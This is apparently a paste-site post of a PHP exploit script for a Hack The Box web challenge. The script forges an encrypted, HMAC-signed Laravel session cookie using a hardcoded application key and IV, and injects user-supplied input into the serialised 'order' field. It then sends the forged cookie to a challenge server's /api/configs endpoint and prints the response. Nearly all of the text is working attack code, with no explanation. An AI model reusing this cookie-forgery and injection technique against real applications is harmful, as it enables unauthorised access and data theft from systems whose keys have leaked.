Mr_hEx icon

HTB WEB challange

Mr_hEx | PRO | 02/28/21 07:34:15 PM UTC (Edited) | 0 ⭐ | 299 👁️ | Never ⏰ | []
text |

1.85 KB

|

None

|

0 👍

/

0 👎

<?php
 $xx = "id->".$_GET['ID'];
#$xx = "id".$_GET['ID'];
 function Encrypt_cookie($injection){
 	$injection_len = strlen($injection);
    $iv = base64_decode("NCrxoY38UWcSzNwpDAiL0g==");
    $API_key = "T1wpqsiM32225Qj3WZEY8uIThwkkeuk2Yh4BfIapo6U=";
    $cipher = 'AES-256-CBC';
    $encrypt = '{"data":"a:6:{s:6:\"_token\";s:40:\"5S4EdcFhvZRyyfHN3MfWTSvdacuXJrBm4EUCKOE1\";s:8:\"username\";s:8:\"guestdaf\";s:5:\"order\";s:'.$injection_len.':\"'.$injection.'\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\/\/178.62.107.35:32168\/api\/configs\";}}","expires":1613210637}';
    $value = openssl_encrypt($encrypt, $cipher, base64_decode($API_key), 0, $iv);
    $iv = base64_encode($iv);
    $mac = hash_hmac('sha256', $iv.$value, base64_decode($API_key));
    $json = json_encode(compact('iv', 'value', 'mac'));
    if (json_last_error() !== JSON_ERROR_NONE) {
        echo "Could not json encode data." ;
        exit();
    }
    $encodedPayload = urlencode(base64_encode($json));
	#echo $encodedPayload;
    return $encodedPayload;
}
   function connect($INJ){
     $opts = [
        "http" => [
            "method" => "GET",
            "header" => "Accept-language: en\r\n" .
                "Cookie: nginxatsu_session= eyJpdiI6IlZwaTZ2aFpTK0ZHXC82UktBQUR3K2tBPT0iLCJ2YWx1ZSI6IkhyM1M2NWRBYys0TFVPMVwvM2thVFhmN1ZSbkFPelNRMldXRTRwNHhWdmFXdFJmdjJlVEJvakloVnJrODJZbjVUIiwibWFjIjoiNTJmZDhkNGJhYWI4NzU0YTE5MmY0ZDU5OTE4OTJlZWU1YmNkYzE4MDYzMmJiZjJhZTVhNWI1ODhiNWI1ZDBmYSJ9; iIjzgRNxKtccRXLIAZRxww050hcSY39ywBNHZoI4=".Encrypt_cookie($INJ)."\r\n"
        ]
    ];
      $context = stream_context_create($opts);
    #echo $opts['http'];
    $file = file_get_contents('http://206.189.121.131:31942/api/configs', false, $context);
	echo $file;
}
connect($xx);
 

Comments